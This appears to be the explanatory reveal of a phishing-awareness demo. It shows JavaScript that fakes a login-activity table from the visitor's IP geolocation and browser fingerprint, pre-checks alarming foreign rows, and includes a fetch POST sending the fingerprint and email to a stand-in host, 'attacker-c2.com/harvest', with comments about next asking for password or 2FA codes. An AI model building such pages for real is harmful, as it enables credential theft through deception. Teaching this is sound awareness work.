The "familiar" rows in the access log table weren't pulled from a database.
They were generated client-side using data your browser volunteered
the moment the page loaded. Here's how the fabrication works.
// ── Step 1: Collect passive fingerprint on page 1 load ───────────────
// Runs silently before the victim interacts with anything.
const geo = await fetch('https://ipapi.co/json/').then(r => r.json());
const ua = navigator.userAgent; // "Chrome/124 on Windows 10"
const { browser, os } = parseUA(ua); // parsed browser + OS strings
// ── Step 2: Fabricate log rows that feel like the victim's real history
function generateLogs(geo, browser, os) {
const city = geo?.city || 'Your Location';
const rgn = geo?.region_code || '';
return [
// Suspicious rows — pre-checked, blatantly foreign
{ device: 'Unknown Windows PC', location: 'Lagos, Nigeria 🇳🇬', status: 'blocked', checked: true },
{ device: 'Chrome on Windows', location: 'Moscow, Russia 🇷🇺', status: 'unknown', checked: true },
// "Familiar" rows — built from the victim's own fingerprint data
// `browser` and `os` come from navigator.userAgent, parsed above.
// `city` and `rgn` come from the passive IP geolocation fetch.
// To the victim: "That's MY browser on MY OS in MY city — this is real."
{ device: `${browser} on ${os}`, location: `${city}, ${rgn}`, status: 'verified', checked: false },
{ device: `${browser} on ${os}`, location: `${city}, ${rgn}`, status: 'verified', checked: false },
// ...more entries to fill out the table
];
}
// ── What a real attacker does after "Report Selected Activity" ────────
// The button click is the foot-in-the-door commitment.
// The "next step" would ask for:
await fetch('https://attacker-c2.com/harvest', {
method: 'POST',
body: JSON.stringify({
...fingerprint, // everything from page 1
email: document.getElementById('fake-email').value,
// + step 3 asks for password, recovery phone, or 2FA code
// + victim complies because they already "started the process"
})
});
